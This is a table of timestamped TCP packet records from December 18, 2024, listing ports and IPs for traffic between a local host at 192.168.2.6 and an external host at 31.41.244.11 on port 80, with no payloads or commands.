Dec 18, 2024 11:47:19.436654091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.436700106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.436785936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.436830044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.437860966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.437911987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.438083887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.438132048 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.438987970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.439029932 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.440186024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.440200090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.440215111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.440242052 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.440242052 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.440258026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.441328049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.441478014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.441526890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.442517996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.442651987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.442703009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.443670034 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.443726063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.444082975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.444878101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.444926977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.445096970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.445166111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.446022034 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.446213007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.446264029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.447194099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.448225021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.448280096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.448410988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.448481083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.448530912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.449568033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.449611902 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.449700117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.450778961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.450834990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.450834990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.451864004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.451913118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.452002048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.452049017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.453044891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.453135967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.453186035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.454235077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.455147028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.455202103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.455348015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.455398083 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.455454111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.456552029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.456604004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.456655979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.456942081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.457674026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.457812071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.457861900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.458920956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.459033966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.459098101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.460050106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.460107088 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.460143089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.461144924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.461313009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.461365938 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.461508036 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.461555004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.462415934 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.462532043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.462611914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.463550091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.464027882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.464107037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.464756966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.465460062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.465519905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.465795994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.465843916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.595519066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.595727921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.595801115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.596081972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.596122026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.596134901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.596199036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.597261906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.597345114 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.597537041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.597584009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.598474026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.598520994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.598932028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.598978996 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.599709034 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.599790096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.599988937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.600037098 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.600770950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.600816965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.601106882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.601154089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.601895094 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.601943016 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.601949930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.601993084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.603071928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.603125095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.603367090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.603420973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.604262114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.604306936 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.605019093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.605066061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.605448008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.605494976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.605670929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.605720043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.606584072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.606626987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.606736898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.606782913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.607837915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.607903957 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.607980967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.608023882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.608913898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.609008074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.609057903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.610224009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.610271931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.610335112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.610378027 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.611296892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.611340046 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.611367941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.611414909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.612611055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.612658978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.612915993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.612962008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.613652945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.613699913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.613898039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.613949060 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.614778996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.614828110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.615036964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.615082979 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.615967989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.616020918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.616647959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.616691113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.617140055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.617183924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.617218018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.617261887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.618453026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.618503094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.618633986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.618680000 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.619477987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.619524002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.620368004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.620417118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.620637894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.620683908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.620876074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.620922089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.621788025 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.621838093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.622297049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.622339964 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.623251915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.623265028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.623296976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.623313904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.624140024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.624190092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.624330997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.624376059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.625417948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.625467062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.625509024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.625556946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.626585960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.626633883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.626812935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.626859903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.627758980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.627773046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.627800941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.627815962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.628812075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.628859043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.628899097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.628941059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.630026102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.630074024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.630150080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.630203009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.631285906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.631340981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.631360054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.631403923 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.632394075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.632450104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.632529974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.632575989 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.633548975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.633599043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.633941889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.633987904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.634746075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.634759903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.634788036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.635932922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.635972023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.637036085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.637048960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.637075901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.637094021 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.638329029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.638339996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.638356924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.638375044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.638391972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.639337063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.639381886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.640031099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.640072107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.640584946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.640625954 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.640975952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.641016006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.641735077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.641777039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.642174959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.642222881 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.643095970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.643138885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.643151045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.643188953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.644176960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.644218922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.644716024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.644754887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.645194054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.645236015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.645273924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.645311117 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.646384954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.646462917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.646576881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.646620989 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.647500038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.647543907 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.647840023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.647876978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.648698092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.648739100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.649408102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.649456024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.649826050 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.650008917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.650379896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.650470018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.651113033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.651165962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.651379108 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.651422977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.652219057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.652260065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.652340889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.652379036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.653343916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.653387070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.653714895 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.653758049 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.654517889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.654565096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.654933929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.654975891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.655806065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.655844927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.655945063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.655997992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.656936884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.656974077 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.786756039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.786772013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.786983013 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.787362099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.787374973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.787446976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.788343906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.788419962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.788569927 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.788608074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.789731979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.789900064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.789947987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.790699005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.790924072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.791023016 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.791867018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.791912079 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.792459011 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.793028116 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.793040037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.793071985 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.794219017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.794291019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.794332027 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.795353889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.795396090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.795397997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.796540976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.796583891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.796953917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.798042059 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.798086882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.798171997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.798212051 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.798856974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.798868895 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.798897028 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.798953056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.800092936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.800192118 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.800236940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.801225901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.801388025 CET	80	49806	31.41.244.11	192.168.2.6
